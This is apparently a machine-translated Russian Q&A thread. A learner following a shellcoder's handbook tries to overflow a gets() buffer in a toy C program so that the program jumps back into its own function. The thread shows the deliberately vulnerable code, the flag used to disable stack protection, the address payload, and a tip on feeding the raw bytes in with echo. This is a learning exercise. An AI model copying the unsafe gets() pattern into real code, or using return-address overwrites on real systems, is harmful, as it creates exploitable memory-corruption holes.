2013-06-01 5 views
1

я экспериментировал с кодом, описанным в «кодеров Shell справочник», где переполнение буфера и вызвать один и тот же код, который будет выполняться дважды ...Дилемма с переполнением буфера

void return_input (void) 
{ char array[5]; 
    gets (array); 
    printf(“%s\n”, array); 
} 
main() 
{ 
    return_input(); 
    return 0; 
} 

Задача состояла в том, чтобы заменить буфер и заменить адрес «возвращения 0» с адресом «return_input()» так, что введенная строка печатается дважды ..

я скомпилированный его следующим образом

gcc -fno-stack-protector overflow.c 

т o переопределить механизмы защиты. Проблема в том, что я не могу выполнить ее дважды. в этом случае адрес функции ri() равен 0x08048440. Я дал данные следующим образом:

./a.out 
aaaaaaaaaaaaa\x40\x84\x04\x08 

не должен ли это вызывать функцию дважды? Он всегда возвращает

aaaaaaaaaaaaaaaa�� 
Segmentation fault (core dumped) 

Как я могу переполнить буфер для вызова функции дважды?

+0

@BenGreen Я стараюсь учиться сам. Если этот вопрос был задан как домашнее задание, преподаватели уже научили меня, как запустить базовый эксплойт, а затем попробовать его самостоятельно. или на английском языке - я бы не задал этот вопрос в первую очередь :) – Ray

+1

@BenGreen тег домашней работы устарел несколько месяцев назад и теперь удален: http://meta.stackexchange.com/questions/147100/the-homework- tag-is-now-официально-derecated – l4mpi

ответ

0

По определению поведение переполнения буфера непредсказуемо. Вы получите только то же поведение, если вы используете одну и ту же версию того же самого компилятора с теми же настройками на той же ОС и т. Д. И т. Д.

1

\x40\x84\x04\x08 не поддерживается. Вы должны использовать некоторую другую программу для перевода шестнадцатеричного ввода в байты.

Если вы используете bash, вы можете попробовать echo -e '\x40\x84\x04\x08' | ./a.out. Я нашел это решение по адресу linux shell scripting: hex string to bytes

+0

за это :) – Ray

0

на основе вашего типа устройства, возможно, вам придется отрегулировать его. http://www.tenouk.com/Bufferoverflowc/Bufferoverflow4.html

+0

Большое вам спасибо за эту информацию. Оно работает!!!! Я хотел бы узнать больше об этом предмете и был бы очень признателен вам, если вы сможете поделиться больше ресурсов. Надеюсь, ты поможешь. Еще раз спасибо! :) – Ray

+0

Если информация была актуальной, отметьте ее как ответ. – VAT69

+0

Эта ссылка должна позволять вам экспериментировать и исправлять код: http: //users.ece.cmu.edu/~jprimero/Simulator.html. Скопируйте вставьте свой код выше и посмотрите выполнение в действии. – VAT69

Смежные вопросы